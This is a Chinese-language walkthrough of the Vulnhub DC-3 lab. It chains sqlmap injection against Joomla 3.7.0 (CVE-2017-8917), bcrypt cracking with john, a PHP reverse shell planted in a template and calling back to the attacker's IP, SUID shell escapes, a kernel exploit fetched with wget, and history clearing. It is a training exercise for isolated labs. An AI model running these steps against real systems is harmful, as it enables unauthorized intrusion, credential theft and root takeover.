从SQL注入到Root权限:Joomla 3.7.0渗透测试实战解析

📅 2026/8/4 15:07:45
从SQL注入到Root权限:Joomla 3.7.0渗透测试实战解析
1. 项目概述一次完整的渗透测试实战演练如果你刚接触网络安全想找个地方练手但又觉得那些理论太枯燥或者看别人的教程总感觉云里雾里那Vulnhub的DC系列靶场绝对是你的不二之选。DC-3这个靶机可以说是为新手量身定做的“毕业设计”它不像一些变态难度的靶机那样需要你掌握各种奇技淫巧而是非常经典地串联了从信息收集、漏洞发现、利用到权限提升的完整渗透流程。这次我们要对付的是一个运行着Joomla 3.7.0内容管理系统的网站这个版本恰好存在一个影响广泛的SQL注入漏洞。整个通关过程就像是在解一道设计精巧的谜题每一步都有迹可循非常适合用来建立渗透测试的实战思维框架。我会带你从零开始手把手走完从发现目标到最终拿到Root权限的全过程过程中涉及的工具、命令和思路都是实际工作中最常用的保证你看完就能上手操作。2. 环境准备与靶机部署2.1 靶机下载与虚拟机配置首先你得去Vulnhub官网找到DC-3的下载页面。Vulnhub上的靶机镜像通常是OVA格式这意味着它已经预先配置好了虚拟硬件兼容VMware和VirtualBox。下载完成后直接在你的虚拟化软件我习惯用VMware Workstation里选择“打开虚拟机”导入这个OVA文件即可。导入过程中虚拟软件可能会询问你是否要保留或替换现有的网络配置一般选择“保留”就行。这里有个关键点务必确保你的攻击机和靶机处于同一个网络环境中。最省事的办法是将两者的网络适配器都设置为“NAT模式”或“仅主机模式”。我强烈推荐使用“仅主机模式”因为这样能创建一个完全隔离的虚拟网络避免你的扫描和攻击行为影响到物理网络上的其他设备也更安全。导入成功后启动DC-3靶机。你会看到一个基于Ubuntu系统的启动界面它通常会自动获取IP地址并启动所有服务。你的第一个任务就是找到它在这个虚拟网络里的IP地址。但靶机不会直接告诉你这就需要我们进行主动探测。2.2 攻击机环境与工具清单我们的攻击机通常是一台Kali Linux因为它集成了几乎所有我们需要的渗透测试工具。如果你的攻击机不是Kali也没关系确保安装了以下核心工具即可网络扫描器nmap这是信息收集的基石用于发现主机和端口。Web漏洞扫描器nikto用于对Web应用进行快速的安全扫描发现常见配置错误和漏洞。内容发现工具gobuster或dirb用于暴力破解网站目录和文件发现隐藏的入口点。漏洞利用框架searchsploit本地漏洞库查询和Metasploit Framework (msfconsole)后者是一个强大的集成化攻击平台但本次我们会更多使用独立脚本来加深理解。数据库利用工具sqlmap自动化SQL注入检测与利用的神器我们这次会重点用到它。代码审计与利用脚本可能需要根据漏洞情况手动编写或使用现成的Python/Perl脚本来利用漏洞。在开始之前确保你的攻击机网络设置与靶机一致同为仅主机模式并且能互相通信。你可以先尝试用ping命令探测一个大概的网段比如ping -c 1 192.168.56.100但更高效的方法是直接进行网段扫描。3. 信息收集锁定目标与初步侦查3.1 网络发现与主机识别信息收集是渗透测试中耗时最长但也最关键的一步它决定了后续所有攻击的方向。我们的第一步是找出DC-3的IP地址。在Kali Linux上打开终端使用ifconfig或ip addr命令查看攻击机在仅主机网络中的IP地址假设是192.168.56.101那么靶机很可能就在192.168.56.0/24这个网段内。接下来使用nmap进行存活主机扫描nmap -sn 192.168.56.0/24-sn参数表示只进行Ping扫描主机发现不扫描端口。扫描结果会列出当前网络中所有在线的主机。你应该能看到除了你的攻击机如192.168.56.101之外的另一台主机那就是我们的目标DC-3假设它的IP是192.168.56.102。注意有些靶机可能禁用了ICMP回应导致Ping扫描失效。如果上述命令没找到可以尝试使用ARP扫描因为同一局域网内ARP协议总是有效的netdiscover -r 192.168.56.0/24。3.2 端口与服务探测找到目标IP后我们需要深入了解它开放了哪些门端口以及门上挂着什么牌子服务。nmap -sV -sC -p- 192.168.56.102 -oN dc3_initial_scan.nmap这个命令参数比较全-sV探测服务版本。-sC使用默认的Nmap脚本进行扫描能发现一些常见漏洞和信息。-p-扫描所有65535个端口全端口扫描。在时间允许的情况下全端口扫描能避免遗漏像高端口Web服务这样的入口。-oN dc3_initial_scan.nmap将扫描结果以标准格式输出到文件方便后续查阅。扫描完成后你大概率会看到类似这样的结果PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Home这表明靶机只开放了80端口运行着Apache 2.4.18上面有一个网站。这基本确定了我们的主攻方向就是Web应用渗透。3.3 Web应用指纹识别与目录枚举现在在浏览器中访问http://192.168.56.102。一个标准的Joomla网站首页会呈现在眼前。如何确定它是Joomla以及具体版本呢手动查看查看网页源代码在head部分或meta标签里经常能找到生成器generator信息如meta namegenerator contentJoomla! - Open Source Content Management /。也可以查看登录页面/administrator、robots.txt文件或特定JS/CSS文件的路径特征。使用工具更高效的方法是使用whatweb或nikto。whatweb http://192.168.56.102这个命令会快速识别Web技术栈你可能会看到“Joomla”、“Apache”、“PHP”等信息。为了更深入我们运行niktonikto -h http://192.168.56.102nikto的扫描报告可能会直接提示Joomla的版本以及一些已知的潜在风险目录。目录爆破网站根目录下往往存在一些隐藏的管理后台、配置文件或备份文件。我们使用gobuster来发现它们gobuster dir -u http://192.168.56.102 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,bak参数解释dir表示目录扫描模式-u指定目标URL-w指定字典文件Kali自带了许多字典-x指定要扫描的扩展名。这个扫描会花点时间结果中你一定会发现/administrator/这个关键目录这就是Joomla的后台管理登录入口。至此信息收集阶段完成。我们确认了目标一台IP为192.168.56.102的Ubuntu主机开放80端口运行着Apache和Joomla CMS。下一步就是寻找进入这个系统的突破口。4. 漏洞挖掘与利用攻破Joomla 3.7.04.1 漏洞背景与原理分析通过信息收集我们基本可以确定网站使用的是Joomla。接下来需要确定具体版本。一个直接的方法是访问http://192.168.56.102/administrator/manifests/files/joomla.xml这个文件通常包含了Joomla的版本号。确认版本为3.7.0。Joomla 3.7.0版本引入了一个新的组件“com_fields”用于自定义字段。然而在这个版本的实现中对用户输入到list[fullordering]参数的过滤存在缺陷导致产生了严重的SQL注入漏洞CVE-2017-8917。这个漏洞无需任何身份认证即0-click攻击者只需构造一个特殊的HTTP请求就能执行任意的SQL语句。简单来说就是网站在处理文章列表排序参数时直接把我们输入的内容拼接到了SQL查询语句里而没有进行有效的检查或转义给了我们注入自己SQL代码的机会。4.2 使用Searchsploit查找利用代码Kali Linux内置了searchsploit工具它是一个离线的漏洞利用数据库检索工具。我们用它来查找Joomla 3.7.0的公开利用代码。searchsploit joomla 3.7.0执行后你会看到几条记录其中很可能包含一个名为“Joomla! 3.7.0 - SQL Injection”的利用脚本其路径可能是/usr/share/exploitdb/exploits/php/webapps/42033.txt。这个文件通常是一个Python或Perl脚本的说明或源码。我们可以直接查看这个文件cat /usr/share/exploitdb/exploits/php/webapps/42033.txt或者将其复制到当前目录进行修改和使用searchsploit -m php/webapps/42033.txt查看脚本内容你会发现它是一个Python脚本核心原理是向存在漏洞的端点通常是/index.php?optioncom_fieldsviewfields发送带有恶意SQL注入载荷的POST请求。4.3 利用SQL注入获取管理员凭据虽然可以直接运行找到的利用脚本但为了更深入地理解我们使用更强大的自动化工具sqlmap。sqlmap可以自动检测和利用SQL注入漏洞并直接拖取数据库数据。首先我们需要找到存在漏洞的URL参数。根据漏洞详情我们知道list[fullordering]参数在com_fields组件中存在问题。我们可以先手动测试但用sqlmap更高效sqlmap -u http://192.168.56.102/index.php?optioncom_fieldsviewfields --datalist[fullordering]updatexml --level3 --risk3 --batch参数解释-u指定目标URL。--data指定POST请求的数据。这里我们提供了一个参数sqlmap会尝试在这个参数点进行注入测试。--level和--risk提高检测级别和风险等级以进行更深入的测试。--batch以非交互模式运行所有问题都选择默认答案。sqlmap运行后如果确认存在注入点它会提示你。接下来我们就可以让它枚举数据库信息了。获取当前数据库名sqlmap -u http://192.168.56.102/index.php?optioncom_fieldsviewfields --datalist[fullordering]updatexml --current-db --batch它很可能会返回数据库名比如joomladb。获取数据库中的表sqlmap -u http://192.168.56.102/index.php?optioncom_fieldsviewfields --datalist[fullordering]updatexml -D joomladb --tables --batch在返回的表中Joomla的管理员用户信息通常存储在#__users表里实际表名可能是jos_users或根据数据库前缀而定#__是Joomla的占位符。拖取用户表数据sqlmap -u http://192.168.56.102/index.php?optioncom_fieldsviewfields --datalist[fullordering]updatexml -D joomladb -T #__users --dump --batch--dump参数会导出整张表的内容。执行成功后你将得到类似下面的数据idnameusernameemailpassword...1Super Useradminadmindc-3.box$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu...这里最关键的是username和password字段。密码是经过哈希加密的这里是bcrypt以$2y$开头。4.4 破解密码哈希与登录后台拿到哈希值后我们需要破解它才能得到明文密码。我们可以使用johnJohn the Ripper或hashcat这类密码破解工具。由于密码可能不强我们可以先尝试用简单的字典进行破解。将哈希值保存到文件创建一个文件比如hash.txt将$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu粘贴进去。使用John破解john --formatbcrypt hash.txt --wordlist/usr/share/wordlists/rockyou.txt--formatbcrypt指定哈希类型--wordlist指定字典文件。rockyou.txt是一个包含常见密码的庞大字典。查看破解结果john --show hash.txt如果字典命中你会看到类似admin:snoopy的输出这意味着用户名admin的密码是snoopy。现在使用得到的凭据 (admin:snoopy) 登录Joomla后台管理页面http://192.168.56.102/administrator/。成功登录后你就完全控制了这台Joomla网站可以上传文件、修改模板、安装扩展等这为我们获取服务器Shell铺平了道路。5. 权限提升从Web Shell到Root5.1 上传Web Shell获取反向连接控制后台后获取服务器操作系统访问权限的常见方法是通过Joomla的模板或扩展管理功能上传一个Web Shell。Web Shell是一个伪装成正常网页如PHP文件的脚本它允许我们在服务器上执行命令。准备Web ShellKali Linux中自带了一些Web Shell例如/usr/share/webshells/php/php-reverse-shell.php。这是一个PHP反向Shell脚本。你需要用文本编辑器打开它修改其中的$ip变量为你的攻击机IP192.168.56.101$port变量为你打算监听的端口例如4444。$ip 192.168.56.101; $port 4444;上传Web Shell在Joomla后台找到“扩展” - “模板” - “模板管理”。选择当前正在使用的模板例如“Protostar”点击“编辑主页面index.php”。这是一个危险但直接的方法将整个Web Shell的PHP代码追加到现有index.php文件的末尾。或者更隐蔽的方法是创建一个新的PHP文件并通过“媒体管理器”上传但可能需要找到可写的目录。修改模板文件是最快的方式。保存修改。在攻击机启动监听在攻击机的终端使用netcat监听你设定的端口。nc -nvlp 4444触发Web Shell在浏览器中访问包含Web Shell的页面。如果你修改的是模板文件通常访问网站首页http://192.168.56.102/即可触发。如果netcat终端成功接收到连接你会看到一个命令行提示符这表示你已经获得了目标服务器的一个低权限Shell通常是Web服务运行的用户如www-data。实操心得直接修改生产环境的模板文件是破坏性且容易被发现的。在实际渗透测试中应优先尝试通过“扩展管理”安装一个恶意的第三方组件或者寻找允许上传文件的其他功能点如文章编辑器中的图片上传可能存在文件类型绕过漏洞。这里为了演示最直接的路径选择了修改模板。5.2 系统信息枚举与横向移动拿到www-data用户的Shell后我们首先需要收集系统信息为提权做准备。whoami # 查看当前用户 id # 查看用户ID和所属组 uname -a # 查看内核版本 cat /etc/os-release # 查看系统发行版信息 sudo -l # 查看当前用户可以以root权限运行哪些命令需要密码 find / -perm -us -type f 2/dev/null # 查找SUID权限的文件运行sudo -l可能会提示需要输入www-data用户的密码我们通常没有。因此重点要关注SUID文件、内核漏洞、计划任务、错误的文件权限等提权路径。5.3 利用SUID权限进行提权在Linux中如果一个可执行文件设置了SUID位那么任何用户在执行这个文件时都会以文件所有者的身份运行。如果我们能找到属于root且设置了SUID并且其行为可以被我们利用的程序就能提权。运行上面提到的find命令后仔细检查输出列表。一个非常经典且常见的提权目标是/usr/bin/exim邮件服务器或某些版本的find、vim、nmap等。但在DC-3中更常见的路径可能是利用一个具有SUID权限的文本编辑器或者脚本。假设我们发现/usr/bin/editor或一个自定义的脚本具有root的SUID权限。我们可以尝试通过它来读取只有root能访问的文件或者直接添加一个具有root权限的用户。一种通用的方法是通过SUID的bash或sh虽然很少见但可以作为思路。如果发现/bin/bash有SUID位那么直接运行/bin/bash -p-p参数保留特权就能获得一个root shell。但更常见的情况是我们需要利用其他SUID程序的功能。例如如果find命令有SUID权限我们可以用它来执行任意命令find / -exec /bin/bash -p \;或者如果vim有SUID权限我们可以在vim中执行系统命令vim.tiny # 进入vim后输入 :! /bin/bash在DC-3的实战中经过枚举你可能会发现一个关键的SUID文件比如/usr/bin/xxd一个十六进制转储工具的某个版本存在利用方式或者系统内核版本较旧存在公开的本地提权漏洞如DirtyCow。这时我们需要将相应的漏洞利用代码上传到靶机。5.4 上传提权利用代码并执行在攻击机上查找本地提权漏洞利用代码。例如使用searchsploit搜索Ubuntu版本对应的内核漏洞。searchsploit linux kernel ubuntu local privilege escalation找到一个合适的利用代码比如一个C语言文件exploit.c。我们需要将其上传到靶机。在攻击机开启HTTP服务在存放exploit.c的目录下运行一个简单的Python HTTP服务器。python3 -m http.server 8080在靶机Shell中下载在之前获得的www-data的Shell中使用wget或curl下载文件。wget http://192.168.56.101:8080/exploit.c编译并执行在靶机上编译这个C程序需要gcc。gcc exploit.c -o exploit chmod x exploit ./exploit如果漏洞利用成功执行whoami命令你会看到输出变成了root。恭喜你已经获得了系统的最高权限6. 后渗透与总结反思6.1 寻找Flag与信息收集获得root权限后通常靶机会在系统的不同位置放置一些“Flag”文件作为完成某个阶段的证明。DC-3靶机就内置了多个Flag。常见的存放位置包括/root/目录下root.txt/home/下的用户目录/var/www/网站目录桌面文件或特定应用目录使用find命令可以快速搜索find / -name *flag* 2/dev/null find / -name *.txt -type f | xargs grep -l FLAG{ 2/dev/null逐个查看找到的文件获取其中的Flag内容。6.2 清理痕迹与退出在真实的渗透测试中获得授权后清理痕迹是职业道德的一部分。但在Vulnhub靶场练习中这一步可以省略直接关闭靶机即可。如果你想练习可以删除上传的Web Shell文件、清除命令历史history -c、删除下载的漏洞利用程序等。6.3 通关流程复盘与核心要点回顾整个DC-3的渗透流程它清晰地展示了一个标准的Web渗透测试路径信息收集使用nmap,nikto,gobuster确定目标、服务、应用框架和隐藏目录。漏洞利用针对特定版本Joomla 3.7.0的已知漏洞CVE-2017-8917使用sqlmap进行自动化SQL注入获取后台管理员凭证。密码破解使用john破解bcrypt哈希获得明文密码。获取初始立足点登录后台通过文件上传或修改模板的方式部署Web Shell获得www-data权限的交互式Shell。权限提升在目标系统上进行枚举sudo -l, SUID文件查找内核版本检查发现提权向量如特定SUID程序或内核漏洞上传并执行本地提权利用程序最终获得root权限。核心避坑点信息收集要全面全端口扫描和目录爆破不能省有时突破口就在一个不起眼的高端口或隐藏路径上。工具参数要理解不要死记命令理解nmap、sqlmap每个参数的意义才能灵活应对不同情况。漏洞利用要精准确认版本号再寻找对应的漏洞盲目尝试会浪费时间并可能触发警报。提权路径需枚举没有一成不变的提权方法拿到低权Shell后系统性地枚举信息是成功的关键。保持环境隔离始终在虚拟化的隔离网络中进行练习避免对真实系统造成意外影响。DC-3靶场通过一个真实的、已修复的漏洞案例让你完整地走了一遍渗透流程。掌握这个流程后你再面对其他靶机或学习更复杂的漏洞时就有了一个清晰的思维地图。记住渗透测试的核心是思路和方法工具只是辅助。多练、多思考、多总结这才是从新手成长起来的唯一路径。